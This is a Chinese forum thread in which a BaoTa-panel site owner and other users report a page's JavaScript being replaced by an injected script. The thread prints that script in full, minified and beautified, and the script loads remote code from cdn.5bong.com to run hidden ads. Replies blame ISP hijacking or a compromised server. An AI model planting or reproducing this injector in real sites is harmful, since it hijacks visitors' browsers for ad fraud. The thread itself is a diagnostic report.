网站被劫持

阿里云Windows2008 主机,使用的宝塔面板.
在网站根目录添加一个 index.html,一个basc.js 文件

index.html 内容
      <!DOCTYPE HTML>
      <html>
            <head>
                     <title>Test</title>
                     <script src="basic.js"></script>
            </head>
            <body>
               Test
            </body>
      </html>
basc.js 内容
      console.log('123');


通过谷歌浏览器访问, F12审查元素, 切换为手机设备访问(如图)

多次刷新发现 basc.js 内容被替换为

!function(){var _cyd_location_url="http://www.域名.com/assets/js/index.js";var _cyd_target_url="http://cdn.5bong.com/pop/v1.js?bt=1";var _cyd_mark_tag=_cyd_location_url.indexOf("?")>-1?"&":"?";var _cyd_f_param=_cyd_mark_tag+"bt="+Date.parse(new Date());if(document.readyState=="complete"){var _cyd_location_script=document.createElement('script');_cyd_location_script.src=_cyd_location_url+_cyd_f_param;var _cyd_target_script=document.createElement('script');_cyd_target_script.src=_cyd_target_url;var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(_cyd_location_script,s);s.parentNode.insertBefore(_cyd_target_script,s)}else{document.write('<script src="'+_cyd_location_url+_cyd_f_param+'"><\/script>');document.write('<script src="'+_cyd_target_url+'"><\/script>')}}();

美化后代码如下:
      function() {
            var _cyd_location_url = "http://www.域名.com/assets/js/index.js";
            var _cyd_target_url = "http://cdn.5bong.com/pop/v1.js?bt=1";
            var _cyd_mark_tag = _cyd_location_url.indexOf("?") > -1 ? "&" : "?";
            var _cyd_f_param = _cyd_mark_tag + "bt=" + Date.parse(new Date());
            if (document.readyState == "complete") {
                     var _cyd_location_script = document.createElement('script');
                     _cyd_location_script.src = _cyd_location_url + _cyd_f_param;
                     var _cyd_target_script = document.createElement('script');
                     _cyd_target_script.src = _cyd_target_url;
                     var s = document.getElementsByTagName("script")[0];
                     s.parentNode.insertBefore(_cyd_location_script, s);
                     s.parentNode.insertBefore(_cyd_target_script, s)
            } else {
                     document.write('<script src="' + _cyd_location_url + _cyd_f_param + '"><\/script>');
                     document.write('<script src="' + _cyd_target_url + '"><\/script>')
            }
      }();

然后就是加载一段JS和网页,  偷偷跑着刷广告.

这难道是宝塔的后门吗?

pplin · 发表于 2018-8-5 23:25:19

被劫持了?有用HTTPS测试吗？

米基米基 · 发表于 2018-8-6 00:03:35

误会宝塔面板了，
是被劫持了，河南联通的网络有问题
发现
114DNS官网 http://www.114dns.com/
天涯论坛 http://bbs.tianya.cn
都有同样的问题

把本地DNS 修改为阿里云的和 114 的还是不能解决

使用https 目前测试正常

倾心丨WHY · 发表于 2018-8-7 16:12:18

投诉到工信部~会解决的

asd667 · 发表于 2018-11-8 16:23:55

检测网站是否被劫持
域名是否被墙
DNS污染检测
网站打开速度检测
网站是否被黑
被入侵
被改标题
被挂黑链 http://www.iis7.com/b/wzjk/?inviteCode=496

visc · 发表于 2018-12-12 18:35:00

我这边也出现了这个情况，一模一样。
不是被劫持。
很有可能是服务器被挂马了。
目前还没有找到挂马文件。。

网站js被替换为：

!function(){var _cyd_location_url="http://域名/WeChat.js";var _cyd_target_url="https://cdn.5bong.com/pop/v1.js?bt=1";var _cyd_mark_tag=_cyd_location_url.indexOf("?")>-1?"&":"?";var _cyd_f_param=_cyd_mark_tag+"bt="+Date.parse(new Date());if(document.readyState=="complete"){var _cyd_location_script=document.createElement('script');_cyd_location_script.src=_cyd_location_url+_cyd_f_param;var _cyd_target_script=document.createElement('script');_cyd_target_script.src=_cyd_target_url;var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(_cyd_location_script,s);s.parentNode.insertBefore(_cyd_target_script,s)}else{document.write('<script src="'+_cyd_location_url+_cyd_f_param+'"><\/script>');document.write('<script src="'+_cyd_target_url+'"><\/script>')}}();

复制代码

主要是通过这个js刷广告：

https://cdn.5bong.com/pop/v1.js?bt=1

复制代码

█ 菠萝云-免费装宝塔,4G内存68 █	█ 易探云·香港/美国vps仅9元 █	▅▆▇ 慈云数据-服务器9.9/月 ▇▆▅	16核16G高防189元	【多途云】高防CDN
高防服务器，无视一切流量攻击	【建站专属AI就找暴躁老哥】	香港站群金牌Gold 6138大促销	【阿里云】宝塔一键部署，5.5折	宝塔一键部署DV,EV,OV,SSL证书
█ 易探云·高防云4核8G仅88元 █	CDN无视各类攻击\|无效退款	█香港站群新年大促█ 免费试用 █	【云防护】专注域名和网站安全防护	在线网站测速、批量PING运维工具